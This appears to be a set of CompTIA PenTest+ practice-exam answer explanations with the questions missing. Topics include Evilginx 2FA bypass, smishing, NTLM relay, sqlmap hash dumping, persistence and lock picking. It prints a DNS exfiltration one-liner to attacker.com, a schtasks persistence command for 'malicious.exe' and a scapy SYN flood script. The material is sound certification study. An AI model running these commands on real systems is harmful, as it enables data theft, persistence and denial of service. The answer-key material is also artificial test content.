CompTIA PT0-003 CompTIA PenTest+ Exam Exam Practice Test

To bypass two-factor authentication (2FA) and gain access to the executives’ accounts, the tester should use Evilginx with a typosquatting domain. Evilginx is a man-in-the-middle attack framework used to bypass 2FA by capturing session tokens.

Phishing with Evilginx:

Evilginx is designed to proxy legitimate login pages, capturing credentials and 2FA tokens in the process.

It uses "phishlets" which are configurations that simulate real login portals.

Typosquatting:

Typosquatting involves registering domains that are misspelled versions of legitimate domains (e.g., example.co instead of example.com).

This technique tricks users into visiting the malicious domain, thinking it's legitimate.

Steps:

Configure an External Domain: Register a typosquatting domain similar to the company’s domain.

Set Up Evilginx: Install and configure Evilginx on a server. Use a phishlet that mimics the company's mail portal.

Send Phishing Emails: Craft phishing emails targeting the executives, directing them to the typosquatting domain.

Capture Credentials and 2FA Tokens: When executives log in, Evilginx captures their credentials and session tokens, effectively bypassing 2FA.

Pentest References:

Phishing: Social engineering technique to deceive users into providing sensitive information.

Two-Factor Authentication Bypass: Advanced phishing attacks like those using Evilginx can capture and reuse session tokens, bypassing 2FA mechanisms.

OSINT and Reconnaissance: Identifying key targets (executives) and crafting convincing phishing emails based on gathered information.

Using Evilginx with a typosquatting domain allows the tester to bypass 2FA and gain access to high-value accounts, demonstrating the effectiveness of advanced phishing techniques.

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Operational Technology (OT) protocols are used in industrial control systems (ICS) to manage and automate physical processes. Here’s an analysis of each protocol regarding whether it sends information in cleartext:

TTEthernet (Option A):

Explanation: TTEthernet (Time-Triggered Ethernet) is designed for real-time communication and safety-critical systems.

Security: It includes mechanisms for reliable and deterministic data transfer, not typically sending information in cleartext.

DNP3 (Option B):

Explanation: DNP3 (Distributed Network Protocol) is used in electric and water utilities for SCADA (Supervisory Control and Data Acquisition) systems.

Security: While the original DNP3 protocol transmits data in cleartext, the DNP3 Secure Authentication extensions provide cryptographic security features.

Modbus (Answer: C):

Explanation: Modbus is a communication protocol used in industrial environments for transmitting data between electronic devices.

Security: Modbus transmits data in cleartext, which makes it susceptible to interception and unauthorized access.

Comprehensive and Detailed Explanation:

An external attack surface review focuses on identifying publicly accessible assets that an attacker could exploit. The first step in this process is information gathering, which involves enumerating domains, subdomains, public IPs, DNS records, and other internet-facing resources. This is done using passive reconnaissance tools such as Whois, Shodan, Google Dorking, and OSINT techniques.

Option A is correct because it aligns with the assessment goal—finding public-facing systems and their vulnerabilities before an attacker does.

Option B (phishing assessment) is incorrect because it involves social engineering, which is not part of an external attack surface review.

Option C (physical security review) is incorrect as it pertains to physical penetration testing, not an external attack analysis.

Option D (vulnerability assessment) is incorrect because a vulnerability assessment is a later step after reconnaissance. The first step is identifying assets through information gathering.

The DREAD model is a risk assessment framework used to evaluate and prioritize the security risks of an application. It stands for Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability.

Understanding DREAD:

Purpose: Provides a structured way to assess and prioritize risks based on their potential impact and likelihood.

Components:

Damage Potential: The extent of harm that an exploit could cause.

Reproducibility: How easily the exploit can be reproduced.

Exploitability: The ease with which the vulnerability can be exploited.

Affected Users: The number of users affected by the exploit.

Discoverability: The likelihood that the vulnerability will be discovered.

Usage in Threat Modeling:

Evaluation: Assign scores to each DREAD component to assess the overall risk.

Prioritization: Higher scores indicate higher risks, helping prioritize remediation efforts.

Process:

Identify Threats: Enumerate potential threats to the application.

Assess Risks: Use the DREAD model to evaluate each threat.

Prioritize: Focus on addressing the highest-scoring threats first.

References from Pentesting Literature:

The DREAD model is widely discussed in threat modeling and risk assessment sections of penetration testing guides.

HTB write-ups often include references to DREAD when explaining how to assess and prioritize vulnerabilities in applications.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

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In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here’s a detailed breakdown:

Components of a Pin Tumbler Lock:

Key Pins: These are the pins that the key directly interacts with. The cuts on the key align these pins.

Driver Pins: These are pushed by the springs and sit between the key pins and the springs.

Springs: These apply pressure to the driver pins.

Plug: This is the part of the lock that the key is inserted into and turns when the correct key is used.

Cylinder: The housing for the plug and the pins.

Operation:

When the correct key is inserted, the key pins are pushed up by the key’s cuts to align with the shear line (the gap between the plug and the cylinder).

The alignment of the pins at the shear line allows the plug to turn, thereby operating the lock.

Why Pins Are the Correct Answer:

The correct key aligns the key pins and driver pins to the shear line, allowing the plug to turn. If any pin is not correctly aligned, the lock will not open.

Illustration in Lock Picking:

Lock picking involves manipulating the pins so they align at the shear line without the key. This demonstrates the critical role of pins in the functioning of the lock.

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The tool that the penetration tester should use for further investigation is WPScan. This is because WPScan is a WordPress vulnerability scanner that can detect common WordPress security issues, such as weak passwords, outdated plugins, and misconfigured settings. WPScan can also enumerate WordPress users, themes, and plugins from the robots.txt file.

The two entries in the robots.txt file that the penetration tester should recommend for removal are:

Allow: /admin

Allow: /wp-admin

These entries expose the WordPress admin panel, which can be a target for brute-force attacks, SQL injection, and other exploits. Removing these entries can help prevent unauthorized access to the web application’s backend. Alternatively, the penetration tester can suggest renaming the admin panel to a less obvious name, or adding authentication methods such as two-factor authentication or IP whitelisting.

The tester’s activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known as Software Composition Analysis (SCA). Here’s why:

Understanding SCA:

Definition: SCA involves analyzing software to identify third-party and open-source components, checking for known vulnerabilities, and ensuring license compliance.

Purpose: To detect and manage risks associated with third-party software components.

Comparison with Other Terms:

SAST (A): Static Application Security Testing involves analyzing source code for security vulnerabilities without executing the code.

SBOM (B): Software Bill of Materials is a detailed list of all components in a software product, often used in SCA but not the analysis itself.

ICS (C): Industrial Control Systems, not relevant to the context of software analysis.

The tester’s activity of examining a JAR file for vulnerable components aligns with SCA, making it the correct answer.

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When a penetration tester identifies an exposed corporate directory containing first and last names and phone numbers, the most effective attack technique to pursue would be smishing. Here's why:

Understanding Smishing:

Smishing (SMS phishing) involves sending fraudulent messages via SMS to trick individuals into revealing personal information or performing actions that compromise security. Since the tester has access to phone numbers, this method is directly applicable.

Why Smishing is Effective:

Personalization: Knowing the first and last names allows the attacker to personalize the messages, making them appear more legitimate and increasing the likelihood of the target responding.

Immediate Access: People tend to trust and respond quickly to SMS messages compared to emails, especially if the messages appear urgent or important.

Alternative Attack Techniques:

Impersonation: While effective, it generally requires real-time interaction and may not scale well across many targets.

Tailgating: This physical social engineering technique involves following someone into a restricted area and is not feasible with just names and phone numbers.

Whaling: This targets high-level executives with highly personalized phishing attacks. Although effective, it is more specific and may not be suitable for the broader set of employees in the directory.

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The issue with the script lies in how the while loop reads the file containing the list of domains. The current script doesn't correctly redirect the file's content to the loop. Changing line 5 to done < "$DOMAINS_LIST" correctly directs the loop to read from the file.

Step-by-Step Explanation

Original Script:

DOMAINS_LIST="/path/to/list.txt"

while read -r i; do

nikto -h $i -o scan-$i.txt &

done

Identified Problem:

The while read -r i; do loop needs to know which file to read lines from. Without redirecting the input file to the loop, it doesn't process any input.

Solution:

Add done < "$DOMAINS_LIST" to the end of the loop to specify the input source.

Corrected script:

DOMAINS_LIST="/path/to/list.txt"

while read -r i; do

nikto -h $i -o scan-$i.txt &

done < "$DOMAINS_LIST"

Explanation:

done < "$DOMAINS_LIST" ensures that the while loop reads each line from DOMAINS_LIST.

This fix makes the loop iterate over each domain in the list and run nikto against each.

References from Pentesting Literature:

Scripting a

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A SYN flood attack exploits the TCP handshake by sending a succession of SYN requests to a target's system. Each request initializes a connection that the target system must acknowledge, thus consuming resources.

Understanding the Script:

ip = IP("192.168.50.2"): Sets the destination IP address to 192.168.50.2.

tcp = TCP(sport=RandShort(), dport=80, flags="S"): Creates a TCP packet with a random source port, destination port 80, and the SYN flag set.

raw = RAW(b"X"*1024): Adds 1024 bytes of data to the packet.

p = ip/tcp/raw: Combines the IP, TCP, and RAW layers into a single packet.

send(p, loop=1, verbose=0): Sends the packet in an infinite loop without verbose output.

Purpose of SYN Flood:

Resource Exhaustion: By sending numerous SYN requests, the target’s connection table fills up, preventing legitimate connections.

Denial of Service: The target system becomes overwhelmed and unable to process further requests, effectively causing a denial of service.

Detection and Mitigation:

Rate Limiting: Implement rate limiting on SYN packets.

SYN Cookies: Use SYN cookies to handle the connection requests without allocating resources immediately.

Firewalls and IDS: Deploy firewalls and Intrusion Detection Systems (IDS) to detect and mitigate SYN flood attacks.

References from Pentesting Literature:

SYN flood attacks are a classic example of a denial-of-service attack and are commonly discussed in penetration testing guides and HTB write-ups for understanding network-based attacks.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

When concluding a penetration test, effectively communicating the need for vulnerability remediation is crucial. Here’s why the articulation of impact is the most important aspect:

Articulation of Cause (Option A):

Explanation: This involves explaining the root cause of the vulnerabilities discovered during the penetration test.

Importance: While understanding the cause is essential for long-term remediation and prevention, it does not directly convey the urgency or potential consequences of the vulnerabilities.

Articulation of Impact (Option B):

Explanation: This involves describing the potential consequences and risks associated with the vulnerabilities. It includes the possible damage, such as data breaches, financial losses, reputational damage, and operational disruptions.

Importance: The impact provides the client with a clear understanding of the severity and urgency of the issues. It helps prioritize remediation efforts based on the potential damage that could be inflicted if the vulnerabilities are exploited.

RFID Cloning:

RFID (Radio-Frequency Identification) cloning involves copying the data from an access badge and creating a duplicate that can be used for unauthorized entry.

Tools like Proxmark or RFID duplicators are commonly used for this purpose.

Why Not Other Options?

A (Smurfing): A network-based denial-of-service attack, unrelated to physical access.

B (Credential stuffing): Involves using stolen credentials in bulk for authentication attempts, unrelated to badge cloning.

D (Card skimming): Relates to stealing credit card information, not access badges.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

From the Nmap results:

Service Analysis:

SSH (22): Secure Shell is a remote access protocol that is typically well-secured with encryption and authentication mechanisms. It’s not the easiest to exploit without valid credentials or known vulnerabilities.

SMTP (25): The port is filtered, which indicates that it might be blocked by a firewall, making it less accessible as an attack vector.

RPCBind (111): RPC services can sometimes expose vulnerabilities, but they are less common in modern systems.

NFS (2049): Network File System is a file-sharing service. Misconfigured NFS servers often expose sensitive files or directories that can be accessed without proper authentication.

Best Target:NFS (port 2049) is the most attractive target. Attackers can exploit insecure exports, gain unauthorized access to shared directories, or elevate privileges if the server allows root access over NFS.

CompTIA Pentest+ References:

Domain 2.0 (Information Gathering and Vulnerability Identification)

Domain 3.0 (Attacks and Exploits)

Since direct interaction with the ICS application is restricted, the best way to analyze network traffic without modifying the system is to use port mirroring on a firewall or network switch.

Option A (Port mirroring) ✅:

Correct. Port mirroring (SPAN) copies network traffic without modifying the host system.

Allows passive analysis of whether encryption is used.

Option B (Packet capture on the server) ❌:

Requires modifying the host, which is prohibited by the client.

Option C (Reconfiguring the app to use a proxy) ❌:

Modifies application settings, which violates the client’s terms.

Option D (Disabling certificate pinning) ❌:

Requires changes to security settings, which is not allowed in this scenario.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Passive Traffic Analysis for ICS Systems

Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output. Here’s why option A is correct:

Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.

Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.

Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.

Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.

References from Pentest:

Horizontall HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly​​.

Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment​​.

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Enviar un archivocifradoporHTTPSes el método más eficiente, seguro y menos sospechoso para exfiltrar datos.HTTPS cifra el contenido y es un protocolo común que no genera tantas alertas en los sistemas de monitoreo.

Otras opciones comodnscatson más sigilosas pero menos eficientes y requieren control sobre la infraestructura. Steganografía o TFTP pueden ser útiles, pero FTP/TFTP son inseguros y poco usados actualmente, lo cual los hace más sospechosos.

Referencia:PT0-003 Objective 4.3 – Explain post-exploitation techniques, including data exfiltration methods.

To enumerate password hashes using an SQL injection vulnerability, the penetration tester needs to extract specific columns from the database that typically contain password hashes. The --dump command in sqlmap is used to dump the contents of the specified database table. Here’s a breakdown of the options:

Option A: sqlmap -u --search -T user

The --search option is used to search for columns and not to dump data. This would not enumerate password hashes.

Option B: sqlmap -u --dump -D accounts -T users -C cred

This command uses --dump to extract data from the specified database accounts, table users, and column cred. This is the correct option to enumerate password hashes, assuming cred is the column containing the password hashes.

Option C: sqlmap -u --tables -D accounts

The --tables option lists all tables in the specified database but does not extract data.

Option D: sqlmap -u --schema --current-user --current-db

The --schema option provides the database schema information, and --current-user and --current-db provide information about the current user and database but do not dump data.

References from Pentest:

Writeup HTB: Demonstrates using sqlmap to dump data from specific tables to retrieve sensitive information, including password hashes​​.

Luke HTB: Shows the process of exploiting SQL injection to extract user credentials and hashes by dumping specific columns from the database​​.

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DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices.

Encoding the data and exfiltrating through DNS (Option A):

DNS is often overlooked by DLP systems because it is required for network functionality.

Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries.

Example method

echo "Sensitive Data" | base64 | nslookup -q=TXT attacker.com

Lock picking techniques are used in physical security assessments to test access control mechanisms.

Raking (Option D):

Raking is a lock-picking technique where a rake pick is inserted and rapidly moved in and out to manipulate multiple pins simultaneously.

It is faster but less precise than single-pin picking.

Used when speed is prioritized over precision.

Port 445 is used for SMB (Server Message Block) services, which are commonly targeted for hash-based relay attacks like NTLM relay attacks.

Understanding Hash-Based Relays:

NTLM Relay Attack: An attacker intercepts and relays NTLM authentication requests to another service, effectively performing authentication on behalf of the victim.

SMB Protocol: Port 445 is used for SMB/CIFS traffic, which supports NTLM authentication.

Prioritizing Port 445:

Vulnerability: SMB is often targeted because it frequently supports NTLM authentication, making it susceptible to relay attacks.

Tools: Tools like Responder and NTLMRelayX are commonly used to capture and relay NTLM hashes over SMB.

Execution:

Capture Hash: Use a tool like Responder to capture NTLM hashes.

Relay Hash: Use a tool like NTLMRelayX to relay the captured hash to another service on port 445.

References from Pentesting Literature:

Penetration testing guides frequently discuss targeting SMB (port 445) for hash-based relay attacks.

HTB write-ups often include examples of NTLM relay attacks using port 445.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

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Configuring and Registering a Service:

Registering a malicious service ensures that it starts automatically with the system, providing persistence even after reboots.

This method is stealthier than others and is commonly used in advanced persistent threat (APT) scenarios.

Why Not Other Options?

B (Remote desktop software): Installing such software is noisy and can easily be detected by monitoring tools.

C (User logon script): While it provides persistence, it is less reliable and more detectable than a system service.

D (Kerberoasting): This is a credential-stealing technique and does not establish persistence.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Domain 4.0 (Penetration Testing Tools)

To maintain persistence after a reboot, the tester needs a method that automatically restarts when the system reboots.

Option A (Reverse shell) ❌: Reverse shells do not persist after a reboot unless paired with scheduled tasks or registry modifications.

Option B (Process injection) ❌: Injecting into a process is temporary—once the system reboots, the injected process is gone.

Option C (Scheduled task) ✅: Correct.

A scheduled task can execute malware, reverse shells, or scripts on system startup, ensuring persistence.

Example:

schtasks /create /sc onlogon /tn "SystemUpdate" /tr "C:\malicious.exe"

Option D (Credential dumping) ❌: While useful for privilege escalation, it does not provide persistence.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Persistence Techniques

Channel Scanning:

Wireless communications can be disrupted by identifying and interfering with the channels used by Wi-Fi networks.

Channel scanning allows the tester to map all active Wi-Fi channels, identify the target network, and determine possible jamming or interference strategies.

Why Not Other Options?

A (Port mirroring): This applies to wired network traffic duplication for monitoring purposes and is unrelated to wireless disruption.

B (Sidecar scanning): Not a relevant technique in the context of wireless disruption.

C (ARP poisoning): This targets Ethernet/IP communication in a local network, not wireless communication at the radio frequency level.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Wireless Network Disruption Techniques